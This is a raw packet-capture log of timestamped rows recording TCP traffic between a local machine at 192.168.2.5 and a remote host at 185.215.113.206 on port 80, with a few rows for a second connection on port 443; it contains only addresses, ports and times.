Nov 12, 2024 06:23:06.162640095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:06.162724972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:06.924901009 CET	443	49703	23.1.237.91	192.168.2.5
Nov 12, 2024 06:23:06.924992085 CET	49703	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:23:06.959647894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:06.964477062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236181974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236206055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236227036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236238003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236258030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236268997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236278057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236279011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236309052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236315012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236552000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236563921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236579895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236593008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236614943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236629963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236944914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236979961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.236989021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.236999035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.237014055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.237021923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.237030029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.237051010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.237087965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.237664938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.237708092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.390604019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390619993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390633106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390651941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390664101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390676975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.390713930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.390860081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390871048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390882015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.390908003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.390918970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.391293049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.391319990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.391331911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.391344070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.391346931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.391355991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.391361952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.391379118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.391426086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506089926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506103039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506115913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506128073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506155968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506160021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506167889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506179094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506198883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506220102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506346941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506357908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506388903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506412029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506901979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.506942987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.506993055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.507031918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.544580936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.544585943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.544596910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.544631958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.544647932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621521950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621551037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621565104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621576071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621587992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621587992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621607065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621630907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621680021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621691942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621707916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621715069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621718884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.621747017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.621762991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.622246027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.622256994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.622267008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.622292042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.622318029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.659868956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.659883022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.659893990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.659950018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.659984112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.660000086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.660010099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.660048962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.660064936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.736833096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.736850023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.736871958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.736906052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.736926079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.736936092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.736965895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.736977100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.736998081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.737025023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737073898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.737138987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737149954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737162113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737176895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737184048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.737184048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.737202883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.737219095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.775243044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.775269032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.775288105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.775299072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.775310040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.775310993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.775324106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.775358915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.851995945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852008104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852018118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852030039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852068901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852091074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852138042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852185011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852401018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852412939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852422953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852449894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852471113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852777004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852787971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852802992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.852834940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.852849007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.890683889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.890697002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.890707970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.890721083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.890733004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.890741110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.890773058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.890784979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.890994072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.891002893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.891053915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.967963934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.967979908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.967989922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.967999935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968010902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968020916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968044043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.968072891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.968202114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968246937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.968266010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968334913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.968368053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968411922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:07.968415976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968425989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:07.968467951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.005904913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.005916119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.005924940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.005992889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.006005049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.006016016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.006026983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.006078959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.006114960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.083373070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083384991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083395004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083400965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083406925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083412886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083420038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083468914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.083515882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.083899975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083910942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083920956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.083954096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.083965063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121473074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121484995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121496916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121507883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121558905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121596098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121689081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121714115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121726036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121737957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121737957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121748924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.121753931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121777058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.121795893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198432922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198446989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198457003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198494911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198509932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198576927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198590040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198601961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198621035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198638916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198663950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198676109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198688030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.198709011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.198724985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.236856937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236874104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236886978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236896992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236908913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236917019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.236920118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.236941099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.236974955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.237128019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.237169027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.237291098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.237302065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.237339973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.237389088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.237427950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314245939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314258099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314275980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314305067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314326048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314337969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314341068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314357042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314371109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314377069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314388037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314389944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314402103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.314419985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.314430952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.315203905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.315215111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.315258980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.352169991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352189064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352200985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352231026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352238894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.352242947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352277040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.352300882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.352529049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352540970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352550030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.352581024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.352591991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.398669958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.398682117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.398777008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.429436922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429449081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429459095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429510117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.429524899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.429639101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429651022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429662943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429687977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.429712057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.429919004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429929018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.429986000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.430105925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.430124044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.430135012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.430160999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.430181980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.430439949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.430480957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.430521965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.467392921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467428923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467441082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467454910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467478991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467492104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467498064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.467504025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467516899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.467534065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.467545033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.467571020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.544820070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.544831038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.544842005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.544853926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.544877052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.544909954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547720909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547774076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547790051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547805071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547832012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547832966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547842979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547856092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547858953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.547871113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547908068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.547908068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.548237085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.548243999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.548247099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.548253059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.548301935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:08.582865953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:08.582880020 CET	80	49704	185.215.113.206	192.168.2.5
